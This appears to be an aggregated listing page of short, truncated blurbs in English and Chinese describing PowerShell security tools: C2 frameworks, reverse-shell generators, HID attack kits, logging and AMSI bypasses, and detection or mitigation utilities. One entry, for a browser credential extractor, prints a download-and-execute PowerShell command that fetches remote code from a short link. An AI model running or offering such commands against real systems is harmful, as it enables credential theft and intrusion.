SlackShell

SlackShell Description & Changelog v1.0 This PowerShell module includes various functions that utilize the Slack API to create a command and control channel. The main function, Start-Shell, will connect to a user-specified Slack channel and authenticate using a supplied API authentication token f...

GPOZaurr

GPOZaurr Group Policy Eater is a PowerShell module that aims to gather information about Group Policies but also allows fixing issues that you may find in them. GPOZaurr provides 360 degrees of information about Group Policies and their settings. Just a single command Invoke-GPOZaurr provides...

Sitecore.Solr-log4j-mitigation

Sitecore.Solr-log4j-mitigation CVE-2021-44228 This repository contains a script that you can run on your windows machine to mitigate CVE-2021-44228 by applying the advice as documented on https://solr.apache.org/security.htmlapache-solr-affected-by-apache-log4j-cve-2021-44228 The PowerShell scrip...

PENeL

PENeL - Powershell with Embedded .NET Library Program that prepares a .NET DLL Library to run embedded in Powershell Script Created By: Guilherme Bacellar Moralez Th3 0bservator https://twitter.com/th30bservator Disclaimer This code is created and maintened only for a research proposal. Please do...

Get-ReconInfo

Get-ReconInfo root@kitploit: NAME Get-ReconInfo SYNOPSIS Lists connections and relevant info about a system Author: Chris King @raikiasec SYNTAX Get-ReconInfo DESCRIPTION This script runs the following commands on the local system, parses the output, and prints the results to the screen: netstat...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

ibombshell

ibombshell - Dynamic Remote Shell root@kitploit: ,--.!, / -- / / / // / / / / ,d08b. '| / / / / / \ / / / / / 0088MM / / // / // / / / / / / // // / / / / / / / 9MMP' ///// // //./// ///// + Starting the console... Console ready! ibombshell is a tool written in Powershell that allows you to...

Brutal

现在 Teensy 可以用于渗透测试 Teensy 就像橡胶鸭 Rubber Ducky，为什么我选择 Teensy？因为对我来说价格非常便宜。它在无需人为键盘交互（HID 攻击）的情况下执行目标机器上的脚本极为有用。当你插入设备时，它会被检测为键盘，利用微处理器和板载闪存存储，你可以向目标机器发送非常快速的按键序列，并完全攻破它，无论自动运行是否开启。我在安全测试中使用它来运行侦察或枚举脚本、执行反向 shell、利用本地 DLL 劫持/提权漏洞，以及获取所有密码。 现在我正在开发一个新工具，名字叫 Brutal。 Brutal Brutal 是一个工具包，用于快速创建各种...

Brutal

Now Teensy can be use for penetration Teensy like a rubber ducky , why im choose teensy ? because the price very cheap for me . t’s extremely useful for executing scripts on a target machine without the need for human-to-keyboard interaction HID -ATTACK .When you insert the device, it will be...

msf_shellcode_analysis

Metasploit shellcode 的静态分析 作为第一篇博客文章，我觉得分析一个常见的 Metasploit shellcode 会很有意思——这是一个讨论编码、PEB、Windows shellcode 和导出地址表等主题的好机会。 开始 我们从一条截获的长命令行开始：powershell "powershell.exe" -nop -w hidden -encodedcommand...

checkvulnCVE20205902

checkvulnCVE20205902 A powershell script to check vulnerability CVE-2020-5902 of ip list The instructions there are in the code Keep security!...

Locksmith

Locksmith root@kitploit: | | | | |/ | | | | | | || | || | | \ | | | | | | | | .--. .--. .--. /.-. '----------. /.-. '----------. /.-. '----------. '-' .---'-''-'-' '-' .--'--''-'-' '-' .--'--'-''-' '--' '--' '--' 一个用于查找并修复 Active Directory 证书服务中常见错误配置的小工具。 目录 1. 安装 2. 运行 Locksmith 1. 模式 0 2. 模式...

PowerShdll

PowerShdll Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls. PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable. dll mode: Rundll32: root@kitploit: Usage:...

Revoke-Obfuscation

Revoke-Obfuscation v1.0 Introduction Revoke-Obfuscation is a PowerShell v3.0+ compatible PowerShell obfuscation detection framework. Authors Daniel Bohannon @danielhbohannon Lee Holmes @LeeHomes Research Blog Post:...

PickleC2

PickleC2 PickleC2 is a post-exploitation and lateral movements framework Documentation ReadTheDocs Overview PickleC2 is a simple C2 framework written in python3 used to help the community in Penetration Testers in their red teaming engagements. PickleC2 has the ability to import your own PowerShe...

meterpeter

Author: @r00t-3xp10it Version release: v2.10.14 Distros Supported: Windows x86|x64, Linux Inspired in the work of: '@ZHacker13 - ReverseTCPShell' :octocat: Quick Jump List Project Description List Of Available Modules Meterpeter C2 Latest Release How To - Under Linux Distributions How To - Under...

APEX

APEX（原 AzurePwn）- Azure 后渗透框架 一旦我们获得了与 Azure 相关账户的某种凭据，该框架便旨在简化后续的后渗透任务。 说实话，这并没有什么新奇或惊艳之处，只是我这个老懒鬼图省事搞出的一些捷径，免得我一遍又一遍地去记所有需要使用的命令。 架构 APEX 基于模块化架构构建，结合了： Microsoft Graph PowerShell 模块：用于访问和查询 Azure AD 资源和动态组。 Azure CLI：用于存储帐户查询和密钥保管库管理。 Az PowerShell 模块：在 Azure 资源中提供额外的探索能力。...

Zerodoor

ZeroDoor A script written lazily for generating reverse shell backdoors on the go whenever you need without any hassle for your daily penetration needs . These backdoors are not james bond high tech stuff but rather simple ones to prevent over exploitation and limited capabilities Once you genera...

Invisi-Shell

Invisi-Shell Hide your powershell script in plain sight! Invisi-Shell bypasses all of Powershell security features ScriptBlock logging, Module logging, Transcription, AMSI by hooking .Net assemblies. The hook is performed via CLR Profiler API. Work In Progress This is still a preliminary version...

PowerProxy

PowerProxy PowerShell SOCKS proxy with reverse proxy capabilities. PowerProxy is written with penetration testers in mind. Reverse proxy functionality is a priority, for traversing networks that block inbound connections. Reverse proxy connections are encrypted by default. Username/Password...